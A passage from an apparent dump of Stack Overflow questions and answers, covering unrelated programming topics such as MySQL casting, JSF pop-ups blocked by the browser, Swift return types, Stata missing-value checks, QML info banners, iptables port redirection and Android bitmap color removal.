com.loc.mapLoc.onCreate(mapLoc.java:71) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047) 05-25 10:21:52.454: E/AndroidRuntime(342): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2459) </code></pre>
7091032	0	 <p><a href="http://stackoverflow.com/questions/5484030/lisp-on-embedded-platforms">This question</a> was on Common Lisp, but <a href="http://stackoverflow.com/questions/5484030/lisp-on-embedded-platforms/5485906#5485906">one particular answer</a> referenced <a href="http://www.ccs.neu.edu/home/stamourv/papers/picobit.pdf" rel="nofollow">Picobit</a>, which is essentially a Scheme for microcontrollers. It very well fits in my conditions, as the paper says it can work on as little as 7 kb of memory. </p> <p>I've decided to <a href="http://github.com/whitequark/picobit" rel="nofollow">fork</a> Picobit and port it to ARM processors.</p>
21599471	0	 <p>You cannot cast the value in mysql using float type.</p> <p>The type can use following values:</p> <ul> <li>BINARY[(N)]</li> <li>CHAR[(N)]</li> <li>DATE</li> <li>DATETIME</li> <li>DECIMAL[(M[,D])]</li> <li>SIGNED [INTEGER]</li> <li>TIME</li> <li>UNSIGNED [INTEGER]</li> </ul> <p>So in your case you have to use decimal, e.g:</p> <pre><code>select cast(amount AS DECIMAL(10,2)) as 'float-value' from amounts </code></pre>
9375756	0	 <p>Just commented the line</p> <pre><code>CFIndex n = ABAddressBookGetPersonCount(addressBook); </code></pre> <p>And replaced with this to get total number of records</p> <pre><code>CFIndex n = CFArrayGetCount(all); </code></pre> <p>Because the count is different for all(Array) and for the variable n. </p> <p>Hope this will help others too.</p>
24979554	0	 <p>You don't need to store it in a session necessarily, it's the fact that $_SESSION is an array.</p> <p>So, what you would want would be something like this:</p> <pre><code>echo json_encode(array('sessionID' =&gt; $sessionID)); </code></pre> <p>And then when you parse the JSON with JavaScript you can access it like this:</p> <pre><code>obj = JSON.parse(jsonObj); alert(obj.sessionID); </code></pre> <p>Obviously, <code>jsonObj</code> is the JSON passed from the server.</p> <p>Hope this helps!</p>
20195133	0	 <p>There are a large number of things you can do to extend the GHCi prompt. <a href="http://www.haskell.org/haskellwiki/GHC/GHCi" rel="nofollow">This page</a> talks about an old project called GHCi on Acid which suggests a lot of ideas. Generally, by editing your .ghcirc file you can add many command-line call-outs including to tools like commandline lambdabot/hoogle/pointfree.</p>
14516289	0	 <p>I think this issue has been fixed here </p> <p><a href="https://github.com/scrapy/scrapy/pull/186" rel="nofollow">https://github.com/scrapy/scrapy/pull/186</a></p> <p>It has been fixed after <code>0.15</code> release of scrapy</p>
13899304	0	 <p>This is a typical computer vision task (it might even be AI-complete), so it's not easy. However, there's an excellent opensource C++ library called <a href="http://opencv.org" rel="nofollow">OpenCV</a> which works well with iOS. I even found a <a href="http://www.aishack.in/2010/07/tracking-colored-objects-in-opencv/" rel="nofollow">tutorial</a> about detecting a colored object.</p> <p>The basic algorithm is, by the way, something like this: go through each pixel and see if it's red or not (you can do this by comparing it agains some kind of threshold value of the red, green and blue components). If this is done, grab the pixels which were good and figure out where the continuous area they're in is. A method for this would be counting the pixels, then assuming they form a circle, then dividing their number by pi and getting the square root - this would tell you the radius of the circle, that you can double for obtaining its diameter ("width").</p>
38764090	0	How to open a pop-up using JSF without it being blocked by the browser <p>I'm working on a PrimeFaces 6.0, JSF 2.2 (Mojarra 2.2.7) application.</p> <p>I need to load a web page from an external site and highlight a DOM node. My approach is to create a JavaScript function to open a pop-up window, load the web page through a servlet (to avoid cross domain issues) and highlight the node. The parameters I send to my function are generated in a managed bean.</p> <p>I tried to do so in two different ways:</p> <ol> <li>Using <code>RequestContext.getCurrentInstance().execute("myFunction(...)")</code> in my action (yes, I'm using PrimeFaces).</li> <li>Using <code>oncomplete="#{myBean.myJsCall}"</code> on my command button.</li> </ol> <p>Both ways the call is executed and the call is correct, but I run into my browser's (Chromium) pop-up blocker:</p> <p><img src="https://i.stack.imgur.com/hNX6Y.png" alt="The following pop-ups were blocked on this page"></p> <p>Is there a way to open pop-ups in JSF or specifically in PrimeFaces without them being blocked?</p> <p>This is not really relevant, but this is the simplified version of my JavaScript function.</p> <p>I developed this script using plain HTML and JS. There it was opening the pop-up without the blocker interfering. Also, when pasting the call into the console when running the JSF application, the pop-up is opened.</p> <pre><code>function myFunction(url, selector) { var popup = window.open("", "popup", "height=500,width=700"); var req = new XMLHttpRequest(); req.open("GET", url, true); req.onreadystatechange = function() { if (req.readyState === XMLHttpRequest.DONE) { popup.document.open(); popup.document.write(req.responseText); popup.document.close(); popup.document.addEventListener( "DOMContentLoaded", function() { /* Some code highlighting the selector */ }, false ); } } req.send(); } </code></pre>
38469648	0	unexpected non-void return value in void function in new Swift class <p>I'm just starting to learn about Object Oriented, and I've begun writing up a user class that has a method for calculating the user's distance from an object. It looks like this:</p> <pre><code>class User{ var searchRadius = Int() var favorites : [String] = [] var photo = String() var currentLocation = CLLocation() func calculateDistance(location: CLLocation){ let distance = self.currentLocation.distanceFromLocation(location)*0.000621371 return distance //Error returns on this line } } </code></pre> <p>At the line marked above, I get the following error:</p> <pre><code>(!) Unexpected non-void return value in void function </code></pre> <p>I've looked elsewhere for a solution, but can't seem to find anything that applies to this instance. I've used the distanceFromLocation code elsewhere, and it's worked okay, so I'm not sure what's different about the usage in this case.</p> <p>Thanks for any help!</p>
31868176	0	How to set velocity layout directory and default template with spring in boot application.properties <p>If we don't use spring boot ,we could user velocity.properties just like this<code> tools.view.servlet.layout.directory =layout/ tools.view.servlet.layout.default.template=default.vm </code> or use this bean in our springmvc project </p> <pre><code>&lt;bean id="velocityViewResolver" class="org.springframework.web.servlet.view.velocity.VelocityLayoutViewResolver"&gt; &lt;property name="cache" value="false" /&gt; &lt;property name="layoutUrl" value="/layout/default.vm" /&gt; &lt;property name="prefix" value="/templates/" /&gt; &lt;property name="suffix" value=".vm" /&gt; &lt;property name="exposeSpringMacroHelpers" value="true" /&gt; &lt;property name="contentType" value="text/html;charset=UTF-8" /&gt; &lt;property name="viewClass" value="org.springframework.web.servlet.view.velocity.VelocityLayoutView" /&gt; &lt;!-- &lt;property name="toolboxConfigLocation" value="classpath:web/config/toolbox.xml" /&gt; &lt;property name="exposeSessionAttributes" value="true" /&gt; --&gt; &lt;/bean&gt; </code></pre> <p>but I want to know how to set velocity layout through application.properties. And I also has some confusion about the "spring.velocity.properties.* =" in application.properties. How and when we could use it.I could't find one demo about this.</p>
31523266	0	Images won't load in Chrome Extension when installed via ChromeStore <p>I have a chrome extension in webstore for several months now, and it has been working flawlessly. Recently, I changed the UI and added several new images in the extension. I have added the image folder in the "web_accessible_resources" property in the manifest file. <code>"src/lib/imgs/*"</code> </p> <p>Problem is:When a user installs the extension via Chrome store, some images failed to load, and I have no idea why. All the images are in same folder. Some works and some does not. I myself have Chrome developers edition.</p> <p>I am pretty sure all images were uploaded fine. I have chrome Version 43.0.2357.134 dev-m and when I install it from chrome webstore, it works fine. However when I install the same plugin on my different laptop that has chrome Version 43.0.2357.134 m.</p> <p>By using this plugin <a href="https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?utm_source=chrome-app-launcher-info-dialog" rel="nofollow">https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?utm_source=chrome-app-launcher-info-dialog</a> I could see the source file of my extension in the chrome store and all files are there.</p> <p>Does anyone have any suggestion or any idea what might be the issue here? Please let me know if my question is not clear or if you need more info to understand this issue.</p> <p>Here is the beta version if you wanna try the plugin: chrome.google.com/webstore/detail/cpacflpjhonhpgpjkbilfblopejajlai/ (you can signup using any fake email address) - Please note once the issue is resolved i will have this beta version removed from the store.</p> <p>Thanks,</p>
35956868	0	Unable to install python-recsys module <p>I am trying to install python-recsys module. But i get this error</p> <blockquote> <p>Could not find a version that satisfies the requirement python-recsys (from versions: ) No matching distribution found for python-recsys</p> </blockquote> <p>I am using Python 3.4 The code that i am using to install the module is: <code>pip.exe install python-recsys</code></p>
13604393	0	 <p>If you look closely, you'll see that the bars for the first and the fourth items are drawn at the same positions and overlap.</p> <p>The fundamental problem is that the code is using the data itself (which is duplicated) to identify individual elements. If you want to have different elements with the same data values, you'll need to give them unique identifiers so that the code is able to distinguish between them. The scales in the code are set up such that the same input value will map to the same output value, i.e. if you have the same name, the bars will be drawn at the same position.</p> <p>One way of solving this problem would be to use a unique ID as input to the scale functions and then a formatter to make the labels from this ID.</p>
24687017	0	 <p>Another option would be <code>misschk</code> from the <em>SPost</em> site. Type <code>findit misschk</code> to install it. Here's an example:</p> <pre><code>sysuse auto,clear replace price=. if (_n==1|_n==3) // additional missing values misschk </code></pre> <p>Without specifying the <code>varlist</code>, <code>misschk</code> just checks all variables. </p> <p>The standard output gives you the number as well as percentage of missing values on each variable.</p> <pre><code>Variables examined for missing values # Variable # Missing % Missing -------------------------------------------- 1 price 2 2.7 2 mpg 0 0.0 3 rep78 5 6.8 4 headroom 0 0.0 5 trunk 0 0.0 6 weight 0 0.0 7 length 0 0.0 8 turn 0 0.0 9 displacement 0 0.0 10 gear_ratio 0 0.0 11 foreign 0 0.0 </code></pre> <p>It also counts all the different missing patterns.</p> <pre><code> Missing for | which | variables? | Freq. Percent Cum. ---------------+----------------------------------- 1_3__ _____ _ | 1 1.35 1.35 1____ _____ _ | 1 1.35 2.70 __3__ _____ _ | 4 5.41 8.11 _____ _____ _ | 68 91.89 100.00 ---------------+----------------------------------- Total | 74 100.00 </code></pre> <p>Lastly, it summarizes the amount of missing values by cases.</p> <pre><code>Missing for | how many | variables? | Freq. Percent Cum. ------------+----------------------------------- 0 | 68 91.89 91.89 1 | 5 6.76 98.65 2 | 1 1.35 100.00 ------------+----------------------------------- Total | 74 100.00 </code></pre> <p><code>misschk</code> also has a couple of other neat features with additional options you can find out about with <code>help misschk</code>.</p>
15174396	0	 <p>Since the ZBarReaderViewController scans the image in continuous mode, it could be that the image is scanned twice before you dismiss the ZBarReaderViewController. You may try making the reader (ZBarReaderViewController *reader ) an instance variable of your class, and in the delegate method:</p> <pre><code>- (void)imagePickerController:(UIImagePickerController*)reader didFinishPickingMediaWithInfo:(NSDictionary*)info { // Stop further scanning [reader.readerView stop]; ... //Continue with processing barcode data. } </code></pre>
16153751	0	 <p>Look at some of the options here:</p> <p><a href="http://highcharts.uservoice.com/forums/55896-general/suggestions/804783-gantt-chart" rel="nofollow">http://highcharts.uservoice.com/forums/55896-general/suggestions/804783-gantt-chart</a></p> <p>Best option is not to use actual bars, but to use line series with lineWidth set to a high enough value to mimic bars visually.</p>
40023705	0	 <p>Based on the description of what you are doing, I don't understand why you think your query works.</p> <p>The overlap query should look like this:</p> <pre><code>SELECT AssetID as UnAvailableAsset FROM agreementasset WHERE CheckOutDate &lt;= @RentEndDate AND ExpectedReturnDate &gt;= @RentStartDate; </code></pre> <p>This type of query can be difficult to optimize (in most databases). You can start with an index on <code>agreementasset(CheckOutDate, ExpectedReturnDate, AssetID)</code>.</p>
28593287	0	 <p>I had a very similar experience to @user1501382, but tweaked everything slightly in accordance with <a href="http://docs.mongodb.org/manual/tutorial/install-mongodb-on-windows/" rel="nofollow">the documentation</a> </p> <p>1) <code>cd c:</code> //changes to C drive</p> <p>2) <code>mkdir data</code> //creates directory data</p> <p>3) <code>cd data</code></p> <p>4) <code>mkdir db</code> //creates directory db </p> <p>5) <code>cd db</code> //changes directory so that you are in <code>c:/data/db</code></p> <p>6) run <code>mongod -dbpath</code> </p> <p>7) close this terminal, open a new one and run <code>mongod</code></p>
26900933	0	 <p>Maybe something like this..</p> <p>This is for InfoBanner.qml</p> <pre><code>import QtQuick 2.2 Loader { id: messages function displayMessage(message) { messages.source = ""; messages.source = Qt.resolvedUrl("InfoBannerComponent.qml"); messages.item.message = message; } width: parent.width anchors.bottom: parent.top z: 1 onLoaded: { messages.item.state = "portrait"; timer.running = true messages.state = "show" } Timer { id: timer interval: 2500 onTriggered: { messages.state = "" } } states: [ State { name: "show" AnchorChanges { target: messages; anchors { bottom: undefined; top: parent.top } } PropertyChanges { target: messages; anchors.topMargin: 100 } } ] transitions: Transition { AnchorAnimation { easing.type: Easing.OutQuart; duration: 300 } } } </code></pre> <p>This is for InfoBannerComponent.qml</p> <pre><code>import QtQuick 2.2 Item { id: banner property alias message : messageText.text height: 70 Rectangle { id: background anchors.fill: banner color: "darkblue" smooth: true opacity: 0.8 } Text { font.pixelSize: 24 renderType: Text.QtRendering width: 150 height: 40 id: messageText anchors.fill: banner horizontalAlignment: Text.AlignHCenter verticalAlignment: Text.AlignVCenter wrapMode: Text.WordWrap color: "white" } states: State { name: "portrait" PropertyChanges { target: banner; height: 100 } } MouseArea { anchors.fill: parent onClicked: { messages.state = "" } } } </code></pre> <p>This is for main.qml</p> <pre><code>import QtQuick 2.3 import QtQuick.Window 2.2 Window { visible: true width: 360 height: 360 MouseArea { anchors.fill: parent onClicked: { Qt.quit(); } } Text { text: qsTr("Hello World") anchors.centerIn: parent } InfoBanner { id: messages } Component.onCompleted: messages.displayMessage("Hello World"); } </code></pre> <p>credit to marxian at marxoft dot co dot uk</p>
37945521	0	 <p>It's called an enhanced <code>for</code> loop. The first part, <code>Card card</code>, says that the current version of <code>Card</code> of this iteration is going to be called <code>card</code>. The second part, <code>myDeck</code>, is the array of <code>Cards</code> that you are iterating through.</p> <p><a href="https://blogs.oracle.com/CoreJavaTechTips/entry/using_enhanced_for_loops_with" rel="nofollow">https://blogs.oracle.com/CoreJavaTechTips/entry/using_enhanced_for_loops_with</a></p>
13281562	0	Is it possible to transfer javascript value to PHP? <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/2338942/access-a-javascript-variable-from-php">Access a JavaScript variable from PHP</a> </p> </blockquote> <p>Let's say I have the following javascript:</p> <pre><code>&lt;script&gt; var today = new Date(); var dd = today.getDate(); var mm = today.getMonth()+1; //January is 0! var yyyy = today.getFullYear(); if(dd&lt;10){dd='0'+dd} if(mm&lt;10){mm='0'+mm} today = mm+'/'+dd+'/'+yyyy; &lt;/script&gt; </code></pre> <p>Now I want to get the value of today variable into PHP.</p> <pre><code>$cur_date = '&lt;script type="text/javascript"&gt; document.write(today) &lt;/script&gt;'; echo "current date: $cur_date"; $checkin = strtotime($cur_date); </code></pre> <p>Although I can output the current date but how can I transfer it to $checkin variable with strtotime function?</p>
24557099	0	convert JSONObject to ContentValues <p>I want to convert JSONObject to ContentValue. How can i do that without knowing what columns i have in JSONObject?</p> <p>columns in JSONObject are the same as columns in SQLite database on the device and they are in the same order.</p> <p>I can do it like this</p> <pre><code>ContentValues values = new ContentValues(); values.put(TASK_NAME, json.getString("name")); values.put(TASK_KEY_PROJECT, json.getString("project")); values.put(TASK_KEY_CATEGORY, json.getString("category")); values.put(TASK_KEY_TAG, json.getString("tag")); //TODO CATCH NO TAG EXCEPTION </code></pre> <p>but i want to know better way thanks in advance</p>
40178052	0	install.packages("RCurl") for Mac os Siera using RStudio <p>i and new to R, have tried to install the above package R but keep getting the following error. Error: unexpected symbol in "install.packages("install.packages("RCurl"</p> <p>thanks</p>
1389183	0	 <p>An other solution that may not appeal to some but is fast to implement and works well is to introduce a new property on the object for sorting purposes. Make the new property contain a sorting character as the first character (a number works well) and the actual sorting value as the rest of the characters. Implement some easy if-else statements to set the appropriate value of the sorting property.</p> <p>When adding this column to the grid just make it hidden and sort on that column.</p> <p>Possibly a less elegant solution than the one proposed by najmeddine, but it works.</p>
28207912	0	Change font sizes with style sheets for RStudio presentation <p>I am using RStudio Presentation and I'd like to change the font size for the main elements (e.g.: header, bullet, and sub bullet). I was able to add a style sheet to my rmd file but I do not know what to change in the css file. I have tried changing the font size in various places in the css file but nothing worked.</p> <pre><code>## Slide with Bullets - Bullet 1 + Sub bullet - Bullet 2 - Bullet 3 </code></pre>
28659306	0	 <pre><code>$(function(){ $("#changeRank").change(function() { var rankId = this.value; //alert(rankId); //$.ajax({url: "/profile/parts/changeRank.php", type: "post", data: {"mapza": mapza}}); //$("body").load("/lib/tools/popups/content/ban.php"); $.ajax({ type: "POST", async: true, url: '/profile/parts/changeRank.php', data: { 'direction': 'up' }, success: function (msg) { alert('success: ' + JSON.stringify(msg)) }, error: function (err) { alert(err.responseText)} }); }); }); require_once('head.php'); require_once('../../lib/permissions.php'); session_start(); $user = "test"; if($_SESSION["user"] != $user &amp;&amp; checkPermission("staff.fakeLogin", $_SESSION["user"], $mhost, $muser, $mpass, $mdb)) $_SESSION["user"] = $user; echo json_encode($user); </code></pre> <p>This sample code will let echo the username back to the page. The alert should show this.</p>
35221731	0	CSS3 Columns, Firefox - Tables not breaking <p>I have a div containing a bunch of tables, the div itself has a columns property. In Chrome and IE/Edge, the tables nicely break across the columns and this is the behaviour I expect.</p> <p>The CSS I'm using:</p> <pre><code>div { -webkit-column-width: 250px; -moz-column-width: 250px; column-width: 250px; } </code></pre> <p>However, FF does not break the table, which means every table only occupies one column. Is there a way to stop this?</p> <p><strong>JSFiddle:</strong> <a href="https://jsfiddle.net/qy44ubva/" rel="nofollow">https://jsfiddle.net/qy44ubva/</a></p> <p>Using div's to simulate a table is about as close of a solution as I can come with. CSS is compiled for every request so I can set widths to emulate consistent column widths.</p>
9667277	0	 <p>Respective to the different programs they are both correct. The difference comes in in <strong>HOW</strong> they calculate what a unique visitor is. No two stats aggregators work the same.</p> <p>Google Analytics <a href="http://support.google.com/googleanalytics/bin/answer.py?hl=en&amp;answer=113734">What's the difference between the 'Absolute Unique Visitor' report and the 'New vs. Returning' report?</a>:</p> <blockquote> <p><strong>Absolute Unique Visitors</strong></p> <p>In this report, the question asked is: 'has this visitor visited the website prior to the active (selected) date range?' The answer is a simple yes or no. If the answer is 'yes,' the visitor is categorized under 'Prior Visitors' in our calculations; if it is no, the visitor is categorized under 'First Time Visitors.' Therefore, in your report, visitors who have returned are still only counted once.</p> </blockquote> <p>Piwik <a href="http://piwik.org/faq/general/#faq_43">FAQs</a>:</p> <blockquote> <p><strong>How is a 'unique visitor' counted in Piwik?</strong></p> <p>Unique Visitors is the number of visitors coming to your website; Unique Visitors are determined using first party cookies. If the visitor doesn't accept cookie (disabled, blocked or deleted cookies), a simple heuristic is used to try to match the visitor to a previous visitor with the same features (IP, resolution, browser, plugins, OS, ...). Note that by default, Unique Visitors are available for days, weeks and months periods, but Unique Visitors is not processed for the "Year" period for performance reasons. See how to enable Unique Visitors for all date ranges.</p> </blockquote> <p>They both use cookies to determine uniques, but both go about it calculating them in different ways. It's apples and oranges when comparing stats packages side by side.</p> <p>Examine the rest of the stats beyond unique visitors. If there is a wide margin across the board, take a close look at the implementation of both.</p> <p>If all is well with both implementations, then pick one and go with it for the stats. Overall <strong>trends</strong> is what you are looking for. Are the stats you want to go up going up? Are the stats you want to go down going down?</p>
6488289	0	 <p>This works for removing a certain color from a bitmap. The main part is the use of AvoidXfermode. It should also work if trying to change one color to another color.</p> <p>I should add that this answers the question title of removing a color from a bitmap. The specific question is probably better solved using PorterDuff Xfermode like the OP said.</p> <pre><code>// start with a Bitmap bmp // make a mutable copy and a canvas from this mutable bitmap Bitmap mb = bmp.copy(Bitmap.Config.ARGB_8888, true); Canvas c = new Canvas(mb); // get the int for the colour which needs to be removed Paint p = new Paint(); p.setARGB(255, 255, 0, 0); // ARGB for the color, in this case red int removeColor = p.getColor(); // store this color's int for later use // Next, set the alpha of the paint to transparent so the color can be removed. // This could also be non-transparent and be used to turn one color into another color p.setAlpha(0); // then, set the Xfermode of the pain to AvoidXfermode // removeColor is the color that will be replaced with the pain't color // 0 is the tolerance (in this case, only the color to be removed is targetted) // Mode.TARGET means pixels with color the same as removeColor are drawn on p.setXfermode(new AvoidXfermode(removeColor, 0, AvoidXfermode.Mode.TARGET)); // draw transparent on the "brown" pixels c.drawPaint(p); // mb should now have transparent pixels where they were red before </code></pre>
15607681	0	 <p>Non-root user should not use ports below 1024. It is better to do port forwarding from 80 to 8080 and 443 (https default) to 8181.</p> <p>Execute this as root:</p> <pre><code>iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -A INPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8181 </code></pre> <p>Need to make this permanent:</p> <pre><code>iptables-save -c &gt; /etc/iptables.rules iptables-restore &lt; /etc/iptables.rules </code></pre> <p>and call during startup, <em>vi /etc/network/if-pre-up.d/iptablesload</em></p> <pre><code>#!/bin/sh iptables-restore &lt; /etc/iptables.rules exit 0 </code></pre>
5073188	0	How do I use LINQPad with third party plugins? <p>All documentation I can find relevant to doing updates with Linqpad mentions a "SubmitChanges" function which should be global for C# code and/or expressions. Nonetheless it doesn't work; all I can get is:</p> <p>The name 'SubmitChanges' does not exist in the current context</p> <p>This is attempting to use LINQPad with Msoft CRM/Dynamics and the related plugin. Simple "Select" queries do work.</p>
37483032	0	Magento - import product works but unused tier prices are not removed <p>With the import I overwrite existing products. I use the Magento dataflow/batch.<br> New tiers (price) are added and current tiers are overwritten.<br> But when an existing tier line is not used it will not remove the line. </p> <p>As example I have the next tiers:<br> Qty Price<br> 25 1,84<br> 50 1,70<br> 100 1,60 </p> <p>The import field looks like:<br> 32000=50=1.65|32000=100=1.50</p> <p>The result is:<br> Qty Price<br> 25 1,84<br> 50 1,65<br> 100 1,50</p> <p>But it should be:<br> Qty Price<br> 50 1,65<br> 100 1,50 </p> <p>Why is the 25 qty not removed during the import?<br> I'm using Magento 1.6 CE</p>
24119922	0	JSP nested For Loop <p>So I have the following class</p> <pre><code>class User{ int id; int name; //constructor and getters and setters go here } </code></pre> <p>set </p> <pre><code>Set&lt;User&gt; student = new LinkedHashSet&lt;User&gt;(); Set&lt;User&gt; teacher = new LinkedHashSet&lt;User&gt;(); Set&lt;User&gt; other = new LinkedHashSet&lt;User&gt;(); </code></pre> <p>another set</p> <pre><code>Set&lt;Set&lt;User&gt;&gt; finalSet = new LinkedHashSet&lt;Set&lt;User&gt;&gt;(); </code></pre> <p>this contains all the set above</p> <p>how can i print all the value of <code>finalSet</code> in <code>jsp</code> using nested for loop</p> <pre><code>&lt;c:forEach items="${finalSet}" var="each"&gt; &lt;c:forEach items="${finalSet.(what should go here??)}" var="each2"&gt; ${each2.getId()); &lt;/c:forEach&gt; &lt;/c:forEach&gt; </code></pre> <p>How to do this??</p>
31599389	0	 <p>I update the links in the after function</p> <pre><code>jQuery(document).ready(function($){ var loadButton = $('#load-more'); var feed = new Instafeed({ get: 'user', userId: xxx, accessToken: 'xxxx', limit:160, after: function() { $("#instafeed a").attr("target","_blank"); // disable button if no more results to load if (!this.hasNext()) { loadButton.attr('disabled', 'disabled'); } } }); $('#load-more').on('click', function() { feed.next(); }); feed.run(); }); </code></pre>
2758587	0	 <p>If the sample is representative of the page, the the form "myForm" doesn't exist when the script is evaluated. In addition to using <code>document.getElementById</code> (or <code>document.forms.<em>formName</em></code>), you'll need to delay setting <code>var myForm</code> until after the form element is processed or, <a href="http://c2.com/cgi/wiki?GlobalVariablesAreBad" rel="nofollow noreferrer">better yet</a>, pass the form as an argument to the functions rather than using a global variable.</p>
35028476	0	 <p><strong>sample.html</strong></p> <pre><code>&lt;div ng-controller="SearchCtrl"&gt; &lt;label class="item item-input"&gt; &lt;i class="icon ion-search placeholder-icon"&gt;&lt;/i&gt; &lt;input type="text" ng-model="dash.search" placeholder="Search" ng-change="bySearch(dash.search)"&gt; &lt;/label&gt; &lt;/div&gt; </code></pre> <p><strong>controller.js</strong></p> <pre><code>var routerApp = angular.module('routerApp', ['ui.router', 'ngRoute']); routerApp.controller('SearchCtrl', function($scope, $http) { $scope.bySearch = function(descr){ alert("Inside bySearch--"+descr); var xhr = $http({ method: 'post', url: 'http://mywebsite.com/api/lists.php?descr='+descr }); xhr.success(function(data){ $scope.data = data.data; }); $ionicScrollDelegate.scrollTop(); console.log(descr); } }); </code></pre> <p>This will fire bySearch() function for each key press.</p> <p>ng-keypress happens as the key is pressed, and BEFORE the value populates the input. This is why you're not getting any value on the first keypress, but on subsequent presses you will get the value.</p> <p><strong>You can also use ng-keyup</strong></p> <pre><code>&lt;input type="text" ng-model="dash.search" placeholder="Search" ng-keyup="bySearch(dash.search)"&gt; </code></pre>
31624606	1	error when django with rest-framework deployed <p>I am having error when trying to open url of Django Rest framework. It was working fine locally, but when I deployed it on server, I am having following error. On server I have django 1.9.</p> <pre><code>Exception Value: 'url' is not a valid tag or filter in tag library 'future' Exception Location: /home/maxo/django-trunk/django/template/base.py in parse, line 506 Error during template rendering In template /usr/local/lib/python2.7/dist-packages/rest_framework/templates/rest_framework/base.html, error at line 1 'url' is not a valid tag or filter in tag library 'future' 1 {% load url from future %} 2 {% load staticfiles %} 3 {% load rest_framework %} 4 &lt;!DOCTYPE html&gt; 5 &lt;html&gt; 6 &lt;head&gt; 7 {% block head %} 8 9 {% block meta %} 10 &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"/&gt; 11 &lt;meta name="robots" content="NONE,NOARCHIVE" /&gt; </code></pre> <p>NOTE : When I removed following line: {% load url from future %} from base.html Its working fine now, but then style of rest api is gone. Is there any other alternative to replace {% load url from future %}? </p>
12114226	0	 <p>Couldn't you just treat the String[] like a String[][] array; essentially, they are the same, just iterated differently.</p>
31005791	0	 <p>Try this.</p> <pre><code>$(window).on('scroll', function () { var v = $(window).scrollTop(); if (v &gt; 200) { $('#id-of-div').css({"height": "75px","max-height":"75px"}); } else { $('#id-of-div').css({"height": "150px","max-height":"150px"}); } }); </code></pre> <p>EDIT:</p> <pre><code> $(window).on('scroll', function () { var v = $(window).scrollTop(); if (v &gt; 200) { $('#id-of-div').animate({"height": "75px","max-height":"75px"},500); } else { $('#id-of-div').animate({"height": "150px","max-height":"150px"},500); } }); </code></pre>
21358311	0	 <p>OK, I don't know if I am really understanding the issue but I will do my best to answer and give a solution. Basically: on your "first" (old) site, you had a menu, and now you want to remake it in Wordpress, and style it so it looks and feels as good as the old one.</p> <p>No problem. On the backend of Wordpress, go to Appearance > Menus and create a new menu. Name it "header-menu" if you want. Put any of the new pages you've made in WP into it, or just make custom links to the pages you want (#page2, <a href="http://www.google.com" rel="nofollow">http://www.google.com</a>, etc).</p> <p>Now back on your .php page, put this code you had in the header</p> <pre><code>&lt;?php wp_nav_menu( array( 'theme_location' =&gt; 'header-menu', 'container_class' =&gt; 'main_menu' ) ); ?&gt; </code></pre> <p>into the main body of the page (maybe in the main-menu div?). It outputs the menu "header-menu" so it should be inside the page html. This might have contributed to the "can see but can't click it" problem. I don't think you need to mess with anything in functions.php to get a menu working. After you have it on the page, just take a look and style the css how you want.</p>
23594185	0	 <p>Best option I know is to use following code:</p> <pre><code>google.maps.event.addListenerOnce(map, 'idle', function() { google.maps.event.trigger(map, 'resize'); }); </code></pre>
15019406	0	 <p>Use the delegate <code>webView:shouldStartLoadWithRequest:navigationType:</code> and open the external URL's in the safari using <code>[[UIApplication sharedApplication] openURL:[NSURL URLWithString: @"http:/wwww.extrenalurls.com"]]</code></p>
18828322	0	 <p>Since you are using <code>sh</code>, and not bash, you should use a single equal <code>=</code> to do the string comparison, instead of the double equal <code>==</code>. Also it is a good practice to double quote the variable in test statement (this error is not caused by incorrect quoting though).</p> <p>The comparison should be:</p> <pre><code>if [ "$1" = "--daily" ] </code></pre> <p>and </p> <pre><code>elif [ "$1" = "--monthly" ] </code></pre>
32061920	0	 <p>Assuming your data will be ordered, like it is in your example, thus assuming the base will always appear before its children, this is what I came up with:</p> <pre><code>private static Collection&lt;String&gt; extractBases(String[] nodes) { Arrays.sort(nodes); // optional, to ensure order Deque&lt;String&gt; bases = new ArrayDeque&lt;&gt;(); bases.addFirst(nodes[0]); for (int i = 1; i &lt; nodes.length; i++) { if (!nodes[i].contains(bases.peekFirst())) { // if it's not a child bases.addFirst(nodes[i]); } } return bases; } </code></pre> <p>You can check a demo with your input here: <a href="http://ideone.com/sjEfvc" rel="nofollow">http://ideone.com/sjEfvc</a></p>
4550461	0	 <p>Most of the configuring/querying can be done via SNMP, so you don't have to have a SSH client/command parser built in you application. What's supported depends on router/ios version. You can check here: <a href="http://tools.cisco.com/Support/SNMP/do/BrowseOID.do?local=en" rel="nofollow">SNMP OID Browser</a>. SNMP can sometimes be overwhelming, but in time it can be of great use to you. My first suggestion is to find a SNMP browser (eg. from solarwinds) so you can inspect what info you can get from the router. Then you can use <a href="http://www.net-snmp.org/" rel="nofollow">NET-SNMP</a> library to do the actual querying/configuring of the router, or if you are willing to pay you can try <a href="http://www.nsoftware.com/portal/macos/" rel="nofollow">IP*Works</a>.</p>
1170513	0	 <p>In the .cs file right click on the class name and click on "Find Usages".</p> <p>This should find all designer files of other controls / pages that use that particular control.</p>
24519903	0	how to load first n rows from a scv file with phpexcel? <p>I haven't seen an example on loading the first <code>n</code> rows from afile</p> <p>So far I have:</p> <pre><code>$objPHPExcel = PHPExcel_IOFactory::load($file_name); $sheetData = $objPHPExcel-&gt;getActiveSheet()-&gt;toArray(NULL, FALSE, TRUE, FALSE); </code></pre> <p>The reason I want to load only a few rows is that my file is large (10.000 entries) and im thinking that loading a few rows will be faster.</p> <p>Any ideas?</p>
